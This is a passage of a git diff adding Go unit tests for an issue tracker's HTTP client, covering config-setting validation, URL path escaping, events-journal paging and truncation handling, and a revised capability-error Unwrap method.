EMPTY. +// +// A LabelPatch carrying non-nil but empty slices expresses no edit — Add and +// Remove are bare slices on the role, so nil and empty are one value there — and +// emitting them would turn a patch the server refuses as empty into one it +// accepts and applies as nothing. +func TestUpdateSendsNoLabelMemberForAnEmptyEdit(t *testing.T) { + document, err := encodeIssuePatch(issueops.IssuePatch{ + Labels: issueops.LabelPatch{Add: []string{}, Remove: []string{}}, + }) + if err != nil { + t.Fatalf("encodeIssuePatch: %v", err) + } + if len(document) != 0 { + t.Errorf("an edit carrying two empty slices encoded %v, want nothing", sortedDocumentMembers(document)) + } +} + +// sortedDocumentMembers names what a patch document carries, for a failure that +// has to say what WAS there. +func sortedDocumentMembers(document map[string]any) []string { + names := make([]string, 0, len(document)) + for name := range document { + names = append(names, name) + } + sort.Strings(names) + return names +} diff --git a/internal/httpclient/wave2c_config_test.go b/internal/httpclient/wave2c_config_test.go new file mode 100644 index 000000000..300233fba --- /dev/null +++ b/internal/httpclient/wave2c_config_test.go @@ -0,0 +1,302 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_config_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/internal/workapi" + "github.com/steveyegge/beads/issueops" +) + +// The unit half of client wave 2c's config writes: what the client SENDS, and +// which refusals it raises without dialing at all. +// +// The served tier runs the whole twenty-one-case contract and three pins of its +// own, so what is left here is the two facts a correct server hides. A client +// that skipped its own validation would still pass every contract case — the +// server refuses the same three requests at the edge — while spending a round +// trip to be told what the role's own contract already calls invalid, and +// binding the classification to a problem body a future server release might +// spell differently. And a client that sent the wrong METHOD or the wrong PATH +// would fail loudly against a server but says nothing about which of the two was +// wrong; a recorded request does. + +// TestSettingWriteValidationMatchesTheSharedValidator is the drift pin for the +// one validator this package had to copy. +// +// depguard denies internal/workapi to this package — a client that could build a +// filter is a client whose narrowing no server-side gate can observe — but not +// to a test file, which is the exemption releaser.go and counter.go already use +// for the same reason. Driving both bodies over one table is what makes them +// agree case by case rather than in prose. +// +// THE VALUE IS PART OF THE TABLE, not only the key, because one of the three +// rules is about a value: `status.custom` is projected into a lookup table reads +// consult first, so a value that cannot be projected must not become a row. +func TestSettingWriteValidationMatchesTheSharedValidator(t *testing.T) { + for _, tc := range []struct { + name string + key string + value string + }{ + {"an ordinary key", "routing.default", "core"}, + {"an empty key", "", "x"}, + {"a blank key", " ", "x"}, + {"the protected key", issueops.SettingKeyIssuePrefix, "bd"}, + {"the protected key, dashed", settingKeyIssuePrefixDashed, "bd"}, + {"a parseable custom status", issueops.SettingKeyStatusCustom, "awaiting_review:active"}, + {"an unparseable custom status", issueops.SettingKeyStatusCustom, "open"}, + {"an empty custom status", issueops.SettingKeyStatusCustom, ""}, + {"a custom type list", issueops.SettingKeyTypesCustom, "not:a:status"}, + {"a key that only LOOKS protected", "issue_prefix_backup", "bd"}, + } { + t.Run(tc.name, func(t *testing.T) { + mine := validateSettingWrite(tc.key, tc.value) + _, theirs := workapi.ValidateSettingWrite(tc.key, tc.value) + if (mine == nil) != (theirs == nil) { + t.Fatalf("validateSettingWrite(%q, %q) = %v but workapi.ValidateSettingWrite = %v: "+ + "this leg refuses a different set from the one every other leg refuses", tc.key, tc.value, mine, theirs) + } + if mine != nil && !errors.Is(mine, issueops.ErrValidation) { + t.Errorf("validateSettingWrite(%q, %q) = %v, which does not match ErrValidation", tc.key, tc.value, mine) + } + }) + } +} + +// TestSettingKeyValidationMatchesTheSharedValidator is the same pin for the +// narrower rule the READ and the REMOVE share. +// +// It is a separate case because the two validators refuse different sets on +// purpose: the protected key is refused on a write and NOT on a remove, which is +// shipped behavior on every implementation (bd-yby99.34) rather than something +// this client decides. A single table would have hidden that. +func TestSettingKeyValidationMatchesTheSharedValidator(t *testing.T) { + for _, key := range []string{"routing.default", "", " ", issueops.SettingKeyIssuePrefix, settingKeyIssuePrefixDashed} { + mine := validateSettingKey(key) + _, theirs := workapi.ValidateSettingKey(key) + if (mine == nil) != (theirs == nil) { + t.Errorf("validateSettingKey(%q) = %v but workapi.ValidateSettingKey = %v", key, mine, theirs) + } + if mine != nil && !errors.Is(mine, issueops.ErrValidation) { + t.Errorf("validateSettingKey(%q) = %v, which does not match ErrValidation", key, mine) + } + } +} + +// TestConfigWritesRefuseBeforeTheDial is the ordering half of the rule above. +// +// Agreeing with the shared validator is worth nothing if the refusal happens +// after the request has already been sent: the point of restating a role rule is +// that an invalid request does not consume a write slot to be told so. This +// drives every refusing shape against a recording transport and asserts nothing +// left the process. +func TestConfigWritesRefuseBeforeTheDial(t *testing.T) { + for _, tc := range []struct { + name string + call func(issueops.WorkspaceConfig) error + }{ + {"set with an empty key", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: " ", Value: "x"}) + return err + }}, + {"set of the protected key", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: issueops.SettingKeyIssuePrefix, Value: "bd"}) + return err + }}, + {"set of an unparseable custom status", func(c issueops.WorkspaceConfig) error { + _, err := c.SetSetting(context.Background(), issueops.SetSettingRequest{Key: issueops.SettingKeyStatusCustom, Value: "open"}) + return err + }}, + {"unset with an empty key", func(c issueops.WorkspaceConfig) error { + _, err := c.UnsetSetting(context.Background(), issueops.UnsetSettingRequest{Key: ""}) + return err + }}, + } { + t.Run(tc.name, func(t *testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if err := tc.call(settings); !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("refusal = %v, want ErrValidation", err) + } + if len(w.dispatched) != 0 { + t.Errorf("the refused request still dialed %v; a request the role calls invalid must not reach the server", w.dispatched) + } + }) + } +} + +// TestConfigWritesDialTheKeyInThePath pins the two requests member for member: +// the verb, the path the key becomes, and the body that carries the value alone. +// +// The KEY IS ESCAPED into one segment, which is why the case uses one that would +// otherwise change the request's shape. A slash would push the segment onto a +// path the server routes elsewhere, and a colon would make the custom-method +// split ambiguous — both are escapeSegment's job, and both are invisible against +// a server that simply 404s. +func TestConfigWritesDialTheKeyInThePath(t *testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + const key = "routing/mode:beta" + + if _, err := settings.SetSetting(context.Background(), issueops.SetSettingRequest{Key: key, Value: "core"}); err != nil { + t.Fatalf("SetSetting: %v", err) + } + set := w.requests[len(w.requests)-1] + if set.Op != wire.OpSetSetting || set.Method != http.MethodPut { + t.Errorf("the write dialed %s %s, want %s PUT", set.Op, set.Method, wire.OpSetSetting) + } + if want := "/v0/beads/config/routing%2Fmode%3Abeta"; set.Path != want { + t.Errorf("the write dialed %q, want %q", set.Path, want) + } + if len(set.Query) != 0 { + t.Errorf("the write carried a query (%v); this operation takes none and refuses one", set.Query) + } + body, ok := set.Body.(apigen.SetSettingRequest) + if !ok { + t.Fatalf("the write body is %T, want the generated SetSettingRequest", set.Body) + } + if body.Value != "core" { + t.Errorf("the write body carried %q, want %q", body.Value, "core") + } + + if _, err := settings.UnsetSetting(context.Background(), issueops.UnsetSettingRequest{Key: key}); err != nil { + t.Fatalf("UnsetSetting: %v", err) + } + unset := w.requests[len(w.requests)-1] + if unset.Op != wire.OpUnsetSetting || unset.Method != http.MethodDelete { + t.Errorf("the remove dialed %s %s, want %s DELETE", unset.Op, unset.Method, wire.OpUnsetSetting) + } + if unset.Path != set.Path { + t.Errorf("the remove dialed %q and the write dialed %q; both name one resource", unset.Path, set.Path) + } + if unset.Body != nil { + t.Errorf("the remove carried a body (%v); the key is the whole request", unset.Body) + } +} + +// TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest is the arm no +// server can prove. +// +// The operation promises that the stored value equals the value sent for every +// key it accepts, so against a correct server a client that transcribed the +// answer and one that echoed its own request are byte-identical — which is +// exactly why the difference has to be pinned against a transport that answers +// something else. A client that echoed would report a value the workspace does +// not hold the day a server normalized one, and would do it silently. +// +// The REDACTED arm is the other half, and it is the one place the echo IS the +// right answer: the projection withholds the value it just accepted, so there is +// nothing to transcribe and the request is the only honest source. Both arms in +// one case so neither can be satisfied by a body that always does one of them. +func TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest(t *testing.T) { + const sent = "what the caller sent" + + stored := "what the server stored" + plain := &settingAnswerWire{answer: apigen.Setting{Key: "routing.default", Value: &stored}} + res, err := settingsOver(t, plain).SetSetting(context.Background(), + issueops.SetSettingRequest{Key: "routing.default", Value: sent}) + if err != nil { + t.Fatalf("SetSetting: %v", err) + } + if res.Value != stored { + t.Errorf("SetSetting reported %q, want the answer's %q: the result is what the workspace holds, "+ + "and echoing the request would report a value it does not", res.Value, stored) + } + if res.Key != "routing.default" { + t.Errorf("SetSetting reported key %q, want the answer's", res.Key) + } + + withheld := &settingAnswerWire{answer: apigen.Setting{Key: "notion.token", Redacted: true}} + res, err = settingsOver(t, withheld).SetSetting(context.Background(), + issueops.SetSettingRequest{Key: "notion.token", Value: sent}) + if err != nil { + t.Fatalf("SetSetting on a credential-bearing key: %v", err) + } + if res.Value != sent { + t.Errorf("SetSetting on a withheld answer reported %q, want the request's %q: \"\" would say the plane "+ + "stores nothing under a key it certainly stores something under", res.Value, sent) + } +} + +// settingAnswerWire is a transport that answers one prepared Setting, which is +// how the case above drives a server that says something the request did not. +type settingAnswerWire struct { + recordingWire + + answer apigen.Setting +} + +func (w *settingAnswerWire) Do(ctx context.Context, req wire.Request, out any) error { + if err := w.recordingWire.Do(ctx, req, out); err != nil { + return err + } + if body, ok := out.(*apigen.Setting); ok { + *body = w.answer + } + return nil +} + +func settingsOver(t *testing.T, w WireClient) issueops.WorkspaceConfig { + t.Helper() + settings, err := New(testTarget(t), w, &apigen.ContextResponse{}).WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + return settings +} + +// TestConfigWriteBoundsAreNotRestatedClientSide is the observable half of +// L-config-bounds, and it exists because the served pin cannot make it. +// +// Over http an oversized value and an oversized key both come back as +// ErrValidation whether this client refused them or the operation did, so the +// served case that measures the divergence against a local leg passes either +// way — a client that had quietly grown its own copy of the two bounds would +// look identical there. What separates them is whether the request LEFT: the +// ledger row says these are the SERVER's rules, one release away from moving, so +// a client that refused them locally would be a second copy free to drift, and +// would refuse tomorrow's server a request it would have taken. +// +// The three rules this client DOES restate are refused before the dial by the +// case above, so the two together say exactly where the line is. +func TestConfigWriteBoundsAreNotRestatedClientSide(t *testing.T) { + for _, tc := range []struct { + name string + key string + value string + }{ + {"a value past the column", "custom.big", strings.Repeat("v", types.MaxTextBytes+1)}, + {"a key past the column", "custom." + strings.Repeat("k", types.MaxFieldLen), "v"}, + } { + t.Run(tc.name, func(t *testing.T) { + store, w := recordingStore(t) + settings, err := store.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + if _, err := settings.SetSetting(context.Background(), issueops.SetSettingRequest{Key: tc.key, Value: tc.value}); err != nil { + t.Fatalf("SetSetting = %v, want the request to travel and the SERVER to refuse it", err) + } + if len(w.dispatched) != 1 || w.dispatched[0] != wire.OpSetSetting { + t.Errorf("the write dialed %v, want exactly [%s]: the length rules are the operation's, and a "+ + "client-side copy of them is one release away from refusing a request a newer server would take", + w.dispatched, wire.OpSetSetting) + } + }) + } +} diff --git a/internal/httpclient/wave2c_journal_test.go b/internal/httpclient/wave2c_journal_test.go new file mode 100644 index 000000000..5f735d38f --- /dev/null +++ b/internal/httpclient/wave2c_journal_test.go @@ -0,0 +1,356 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/wave2c_journal_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "encoding/json" + "errors" + "math" + "net/http" + "net/url" + "strconv" + "testing" + + "github.com/steveyegge/beads/internal/eventsjournal" + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/journalops" +) + +// The unit half of client wave 2c's events journal: the three facts a correct +// server cannot show, because a correct server never produces the conditions +// they are about. +// +// The served tier runs the whole six-case contract against a real bd serve, so +// what is left here is the reconciliation this client had to invent. The +// UNCAPPED read is the sharp one: it is a role promise the operation refuses by +// value, so the loop that reconciles them only runs past 10000 records — a size +// no contract case seeds and no served test would reach without minutes of +// seeding. + +// journalWire is a transport that answers prepared event pages in order and +// records the query each request carried. +type journalWire struct { + recordingWire + + pages []apigen.EventsPage + problem error + queries []url.Values +} + +func (w *journalWire) Do(ctx context.Context, req wire.Request, out any) error { + w.queries = append(w.queries, req.Query) + if err := w.recordingWire.Do(ctx, req, out); err != nil { + return err + } + if w.problem != nil { + return w.problem + } + body, ok := out.(*apigen.EventsPage) + if !ok { + return nil + } + if len(w.pages) == 0 { + *body = apigen.EventsPage{} + return nil + } + *body = w.pages[0] + if len(w.pages) > 1 { + w.pages = w.pages[1:] + } + return nil +} + +func journalOver(t *testing.T, w WireClient) journalops.Journal { + t.Helper() + store := New(testTarget(t), w, &apigen.ContextResponse{}) + cursor, ok := any(store).(storage.EventsJournalCursor) + if !ok { + t.Fatal("*Store does not implement storage.EventsJournalCursor") + } + return cursor +} + +// journalPage builds a page of n synthetic records starting after `from`. +func journalPage(from int64, n int, head int64) apigen.EventsPage { + records := make([]eventsjournal.Record, 0, n) + for i := 1; i <= n; i++ { + records = append(records, eventsjournal.Record{ + Seq: from + int64(i), TS: "2026-08-11T00:00:00Z", Op: "create", + IssueID: "bd-" + strconv.FormatInt(from+int64(i), 10), + Issue: json.RawMessage(`{"id":"bd-1"}`), + }) + } + return apigen.EventsPage{Head: head, Records: records} +} + +// TestUncappedJournalReadPagesTheHandlersBoundAndAnswersTheLastHead is +// L-events-paging, pinned where it can fail. +// +// The role says a limit of 0 is uncapped; the operation refuses `limit=0` by +// value and caps a page at 10000. A client that forwarded the 0 would get a 400 +// on every uncapped read, and one that silently capped would answer a partial +// page beside a head saying there is more — a consumer stalling on a gap nobody +// told it about. This asserts the third answer: the loop, its advancing +// checkpoint, and the LAST page's head. +// +// The two full pages are the smallest shape that can fail: one page proves +// nothing about advancing, and a short second page is what stops the loop. +func TestUncappedJournalReadPagesTheHandlersBoundAndAnswersTheLastHead(t *testing.T) { + // BOTH PAGES REPORT THE JOURNAL'S HEAD, which is what a real server does: + // the head is the counter's, not the page's, so a bounded page reports a head + // ABOVE its own last row and that is how a caller learns there is more. A + // fixture whose first page reported its own last seq would be a server saying + // "caught up" with seven records still to serve. + const head = int64(eventsWireLimit + 7) + w := &journalWire{pages: []apigen.EventsPage{ + journalPage(0, eventsWireLimit, head), + journalPage(eventsWireLimit, 7, head), + }} + + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + if err != nil { + t.Fatalf("an uncapped read: %v", err) + } + if got := len(page.Rows); got != eventsWireLimit+7 { + t.Errorf("the uncapped read answered %d rows, want %d: it stopped at the handler's page bound", got, eventsWireLimit+7) + } + if page.Head != head { + t.Errorf("the uncapped read answered head %d, want the LAST page's %d: an earlier page's head is stale "+ + "the moment the next request is made", page.Head, head) + } + if len(w.queries) != 2 { + t.Fatalf("the uncapped read made %d requests, want 2", len(w.queries)) + } + if got := w.queries[0].Get("limit"); got != strconv.Itoa(eventsWireLimit) { + t.Errorf("the first request sent limit=%q, want the handler's bound %d; 0 is a 400 on this operation", + got, eventsWireLimit) + } + if got, want := w.queries[0].Get("since"), "0"; got != want { + t.Errorf("the first request sent since=%q, want %q", got, want) + } + if got, want := w.queries[1].Get("since"), strconv.Itoa(eventsWireLimit); got != want { + t.Errorf("the second request sent since=%q, want %q: the checkpoint advances to the last seq SERVED, "+ + "and since is exclusive, so anything else re-reads or skips", got, want) + } + + // A BOUNDED read is one request and the bound travels as given. + bounded := &journalWire{pages: []apigen.EventsPage{journalPage(0, 2, 9)}} + if _, err := journalOver(t, bounded).ReadEventsJournalPage(context.Background(), 4, 2); err != nil { + t.Fatalf("a bounded read: %v", err) + } + if len(bounded.queries) != 1 { + t.Fatalf("a bounded read made %d requests, want 1", len(bounded.queries)) + } + if got := bounded.queries[0].Get("limit"); got != "2" { + t.Errorf("the bounded read sent limit=%q, want %q", got, "2") + } +} + +// TestJournalCheckpointSurvivesSixtyFourBits is the decode doctrine on the one +// member that carries a counter. +// +// `since` is an int64 on the role and on the wire, and the conformance suite's +// own head probe reads with math.MaxInt64 — a value an int conversion on a +// 32-bit build would wrap and a float64 decode would round. This asserts the +// value that reaches the query string is the value the caller gave. +func TestJournalCheckpointSurvivesSixtyFourBits(t *testing.T) { + w := &journalWire{pages: []apigen.EventsPage{{Head: math.MaxInt64 - 1}}} + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), math.MaxInt64, 1) + if err != nil { + t.Fatalf("a read at the top of the range: %v", err) + } + if got, want := w.queries[0].Get("since"), strconv.FormatInt(math.MaxInt64, 10); got != want { + t.Errorf("the read sent since=%q, want %q", got, want) + } + if page.Head != math.MaxInt64-1 { + t.Errorf("the head decoded as %d, want %d: a head past 2^53 must survive the decode", page.Head, math.MaxInt64-1) + } +} + +// TestJournalTruncationIsRebuiltAsTheTypedWindow is the one refusal on this seam +// that has to become a Go value carrying DATA rather than a sentinel. +// +// The contract checks it by errors.As against journalops.TruncatedError — a type +// no leg names, since storage.EventsJournalTruncatedError is an alias of it — and +// a client that returned the wire's sentinel alone would satisfy errors.Is and +// fail every consumer, because the recovery is a decision made from the WINDOW. +// +// THE SECOND ARM IS THE ONE THE CONTRACT CANNOT REACH: a server that answered the +// code without its three window members. A window rebuilt from absent members +// would carry zeros, and `Floor-1` computed from a zero is a resume that replays +// the whole journal — so the wire's own error travels unchanged instead. +func TestJournalTruncationIsRebuiltAsTheTypedWindow(t *testing.T) { + since, floor, head := int64(40), int64(51), int64(99) + w := &journalWire{problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Since: &since, Floor: &floor, Head: &head, + Err: wire.ErrEventsJournalTruncated, + }} + + _, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 40, 0) + var truncated *journalops.TruncatedError + if !errors.As(err, &truncated) { + t.Fatalf("a pruned-past checkpoint answered %v, want *journalops.TruncatedError", err) + } + if truncated.Since != since || truncated.Floor != floor || truncated.Head != head { + t.Errorf("the window is {%d %d %d}, want {%d %d %d}", + truncated.Since, truncated.Floor, truncated.Head, since, floor, head) + } + + bare := &journalWire{problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Err: wire.ErrEventsJournalTruncated, + }} + _, err = journalOver(t, bare).ReadEventsJournalPage(context.Background(), 40, 1) + if errors.As(err, &truncated) { + t.Errorf("a truncation with no window was rebuilt as %+v; a Floor of 0 makes `resume from Floor-1` "+ + "replay the whole journal", truncated) + } + if !errors.Is(err, wire.ErrEventsJournalTruncated) { + t.Errorf("the unreconstructable truncation answered %v, want the wire's own error unchanged", err) + } +} + +// TestJournalRowKeepsThePayloadsRawAndTellsADeleteFromAMissingOne is the +// projection back onto the storage row, and the payload members are the part +// worth asserting. +// +// `issue` is ALWAYS present and carries the literal `null` on a delete, while +// `dep` and `comment` are ABSENT on the ops that have no such half. All three +// collapse to the empty string on the row, which is the row's own conflation — +// journalops.Row documents IssueJSON as empty when the op is a delete — and NOT +// one this client may introduce anywhere else: a payload that is present must +// travel byte for byte, because re-encoding would reorder members and +// renormalize numbers against a contract that promises the issue exactly as the +// mutation left it. +func TestJournalRowKeepsThePayloadsRawAndTellsADeleteFromAMissingOne(t *testing.T) { + // A payload that does NOT survive a re-encode: the members are out of sorted + // order and the number is past 2^53. Marshaling a decoded map would reorder + // the first and round the second, which is exactly what the contract that + // promises "the issue exactly as the mutation left it" forbids — and a + // payload that happened to round-trip would let a re-encoding client pass. + const raw = `{"title":"z","id":"bd-1","row_version":9007199254740993}` + w := &journalWire{pages: []apigen.EventsPage{{Head: 3, Records: []eventsjournal.Record{ + {Seq: 1, TS: "t1", Op: "create", IssueID: "bd-1", Issue: json.RawMessage(raw)}, + {Seq: 2, TS: "t2", Op: "delete", IssueID: "bd-1", Issue: json.RawMessage("null")}, + {Seq: 3, TS: "t3", Op: "dep_add", IssueID: "bd-1", + Issue: json.RawMessage(raw), Dep: json.RawMessage(`{"kind":"blocks"}`)}, + }}}} + + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 10) + if err != nil { + t.Fatalf("read: %v", err) + } + if len(page.Rows) != 3 { + t.Fatalf("read %d rows, want 3", len(page.Rows)) + } + if page.Rows[0].IssueJSON != raw { + t.Errorf("the create's payload is %q, want the bytes the server sent, %q", page.Rows[0].IssueJSON, raw) + } + if page.Rows[1].IssueJSON != "" { + t.Errorf("the delete's payload is %q, want \"\": a delete has no surviving row, and the row type "+ + "spells that as an empty string", page.Rows[1].IssueJSON) + } + if page.Rows[0].DepJSON != "" || page.Rows[0].CommentJSON != "" { + t.Errorf("the create carries dep %q and comment %q, want both empty: absence says the op has no such half", + page.Rows[0].DepJSON, page.Rows[0].CommentJSON) + } + if page.Rows[2].DepJSON != `{"kind":"blocks"}` { + t.Errorf("the edge's dep payload is %q, want it verbatim", page.Rows[2].DepJSON) + } + for i, row := range page.Rows { + if row.Seq != int64(i+1) || row.TS == "" || row.Op == "" || row.IssueID == "" { + t.Errorf("row %d lost an envelope member: %+v", i, row) + } + } +} + +// TestUncappedJournalReadAnswersTheFreshestHeadAndFailsWholeOnALateTruncation +// is the pair of clauses L-events-paging claims SURVIVE the loop, and both need +// a server that CHANGES between pages — which is the whole point of the row and +// the one thing a single-instant fixture cannot show. +// +// THE HEAD. Every page reports the journal's own head, so a mutation committing +// mid-loop raises it. Answering the first page's head would tell a caller it was +// caught up at a number the journal had already passed, which is a poller that +// stops polling. The freshest head is the only one that cannot be behind the +// rows served. +// +// THE LATE TRUNCATION. A prune landing mid-loop makes a LATER page a 410. A loop +// that returned the prefix it had already gathered would answer a gap with a +// plausible-looking suffix and a nil error — silent data loss, which is the one +// failure a replay feed must never ship. The read fails whole. +func TestUncappedJournalReadAnswersTheFreshestHeadAndFailsWholeOnALateTruncation(t *testing.T) { + t.Run("the head is the freshest one", func(t *testing.T) { + // The first page reports a head five past its own last row, which is what + // makes the loop continue; by the time the second page is assembled seven + // more records have committed, so its head is higher again. The two heads + // DIFFER, which is the only shape that can tell "the freshest" from "the + // first". + const seen = int64(eventsWireLimit + 5) + const grown = int64(eventsWireLimit + 12) + w := &journalWire{pages: []apigen.EventsPage{ + journalPage(0, eventsWireLimit, seen), + {Head: grown, Records: journalPage(eventsWireLimit, 5, grown).Records}, + }} + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + if err != nil { + t.Fatalf("an uncapped read across a growing journal: %v", err) + } + if page.Head != grown { + t.Errorf("the read answered head %d, want %d: an earlier page's head is behind the journal by "+ + "the time the next request lands, and a caller that acted on it would stop polling early", + page.Head, grown) + } + }) + + t.Run("a truncation on a later page fails the whole read", func(t *testing.T) { + since, floor, head := int64(eventsWireLimit), int64(eventsWireLimit+40), int64(eventsWireLimit+90) + w := &lateTruncationWire{ + first: journalPage(0, eventsWireLimit, head), + problem: &wire.ProblemError{ + Op: wire.OpListEvents, Status: http.StatusGone, Code: "events_journal_truncated", + Since: &since, Floor: &floor, Head: &head, + Err: wire.ErrEventsJournalTruncated, + }, + } + page, err := journalOver(t, w).ReadEventsJournalPage(context.Background(), 0, 0) + var truncated *journalops.TruncatedError + if !errors.As(err, &truncated) { + t.Fatalf("a prune landing mid-loop answered (%d rows, %v), want the typed truncation: a read that "+ + "kept the prefix it had gathered would answer a GAP with a plausible-looking suffix", len(page.Rows), err) + } + if len(page.Rows) != 0 { + t.Errorf("the failed read carried %d rows; result values are unspecified when error is non-nil, and a "+ + "caller that ignored the error must get nothing rather than a partial answer", len(page.Rows)) + } + if truncated.Floor != floor { + t.Errorf("the window names floor %d, want the LATER page's %d", truncated.Floor, floor) + } + }) +} + +// lateTruncationWire answers one good page and then the prepared problem, which +// is the shape a prune landing mid-loop takes. +type lateTruncationWire struct { + journalWire + + first apigen.EventsPage + problem error + answered bool +} + +func (w *lateTruncationWire) Do(ctx context.Context, req wire.Request, out any) error { + w.queries = append(w.queries, req.Query) + if w.answered { + return w.problem + } + w.answered = true + if body, ok := out.(*apigen.EventsPage); ok { + *body = w.first + } + return nil +} diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index 989a796b8..e154bc59f 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -53,6 +53,7 @@ go_test( "//internal/httpapi/apigen", "//internal/httpapi/spec", "//internal/httpclient/encode", + "//internal/storage", "//internal/types", "//issueops", "@in_gopkg_yaml_v3//:yaml_v3", diff --git a/internal/httpclient/wire/credential.go b/internal/httpclient/wire/credential.go index e4e2234ec..f8a2224ee 100644 --- a/internal/httpclient/wire/credential.go +++ b/internal/httpclient/wire/credential.go @@ -16,10 +16,10 @@ import ( // (internal/storage/postgres/credential.go), and it is the difference between a // misconfigured token file and an unauthenticated request nobody noticed. // -// The interface is declared here rather than in the store package the design -// sketches it in (engdocs/design/http-client-backend.md, D5) because this is the -// only layer that consumes it; the store package aliases it, so there is still -// one type. +// The interface is declared here rather than in the store package the +// original (bd-enterprise-internal) design sketched it in, because this is +// the only layer that consumes it; the store package aliases it, so there is +// still one type. type CredentialProvider interface { // Authorize adds credentials to req (Authorization: Bearer, DPoP, ...). // A no-auth deployment — the loopback-trust OSS server, which has no token diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 3960c50e1..5e9425ede 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -164,14 +164,25 @@ const CapBatchApplyLarge = "issues.batchApplyLarge" // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant -// of the same name (held to it by TestExternalDependencyCapabilityMatchesTheServer). +// of the same name. // // It is not in behaviorCapabilities because it is not a property of the build: -// httpapi advertises it only when the serving process composed its roles through -// the policy layer, so httpapi.Capabilities() — the build-level list the parity -// gate compares against — never contains it. The store reads it to answer -// storage.ServerEnforcedPolicy, which is what decides whether this client layers -// the policy itself. +// httpapi advertises it only when the serving process composed its roles +// through the policy layer, so httpapi.Capabilities() — the build-level list +// the parity gate compares against — never contains it. +// +// UNCONSUMED since S3 reconciliation (2026-10): THIS token is unread by this +// client, not because OSS lacks external-dependency policy enforcement — the +// externaldeps decorator (internal/storage/externaldeps) exists in OSS and is +// wired unconditionally into the local storage chain (cmd/bd/storage_chain.go), +// so a local backend already applies the policy itself. What this http +// client specifically lacks is a client-side COMPOSITION of that same +// decorator around a storage.ExternalDependencyQueryStore-backed remote +// store, because a remote server advertising this capability applies the +// policy on its own side before answering — there is nothing left for the +// client to decorate. The token stays declared, because the server-side +// capability and its wire spelling are real and S10 schedules the client half +// that reads it. const CapExternalDependencies = "policy.external_dependencies" // ClientWireRevision is the wire shape this client was built to speak and @@ -467,7 +478,23 @@ func (e *CapabilityError) Error() string { e.ServerURL, e.BdVersion, e.Capability, e.Op) } -func (e *CapabilityError) Unwrap() error { return ErrCapabilityAbsent } +// Unwrap returns both arms, so a caller holding only a role interface can +// classify a version-skew refusal the same way as any other unsupported +// capability. +// +// errors.Is(err, ErrCapabilityAbsent) stays the precise diagnosis — this +// server, this token absent, this op — and errors.As(err, *issueops.ErrUnsupported) +// (equally storage.ErrUnsupported: both are the SAME aliased type, see +// beadserrors.ErrUnsupported) now also reaches it, because a backend that +// cannot serve an operation is exactly what a capability-absent server is from +// the caller's side of the role contract. The two are not in tension: the +// ledger-refusal twin of this (InexpressibleError, in package httpclient) earns +// its *storage.ErrUnsupported arm the same way, off a value this client itself +// decided to withhold rather than a server's version — Unwrap is what lets one +// errors.As site in a role catch both without caring which. +func (e *CapabilityError) Unwrap() []error { + return []error{ErrCapabilityAbsent, &issueops.ErrUnsupported{Op: e.Op, Backend: "http", Capability: e.Capability}} +} // NewCapabilityError builds the capability-absent refusal for a behavior the // caller checked itself, off a handshake it already holds, rather than for an diff --git a/internal/httpclient/wire/handshake_test.go b/internal/httpclient/wire/handshake_test.go index c59231d89..b3caa7ca0 100644 --- a/internal/httpclient/wire/handshake_test.go +++ b/internal/httpclient/wire/handshake_test.go @@ -9,6 +9,8 @@ import ( "strings" "sync" "testing" + + "github.com/steveyegge/beads/internal/storage" ) // contextBody is a ContextResponse carrying whatever capability list the case @@ -235,6 +237,52 @@ func TestAnAbsentCapabilityRefusesWithWhatTheTaxonomyNeeds(t *testing.T) { } } +// TestAnAbsentCapabilityIsAlsoAnErrUnsupported is HIGH 4's pin: a +// version-skew refusal must be classifiable the same way as any other +// capability a backend does not serve, by a caller holding only a role +// interface and reaching for *storage.ErrUnsupported — never for the +// http-specific *CapabilityError, which such a caller has no business +// importing wire to know about. +// +// storage.ErrUnsupported is a Go alias (not a copy) of beadserrors.ErrUnsupported +// — the same declaration issueops.ErrUnsupported names too — so one +// errors.As site reaches the value under any of its three doorplates, and this +// test spends its import on the storage one deliberately: that is the package +// name HIGH 4 named, and the one most of the shared role contracts assert +// against. +func TestAnAbsentCapabilityIsAlsoAnErrUnsupported(t *testing.T) { + c, _ := 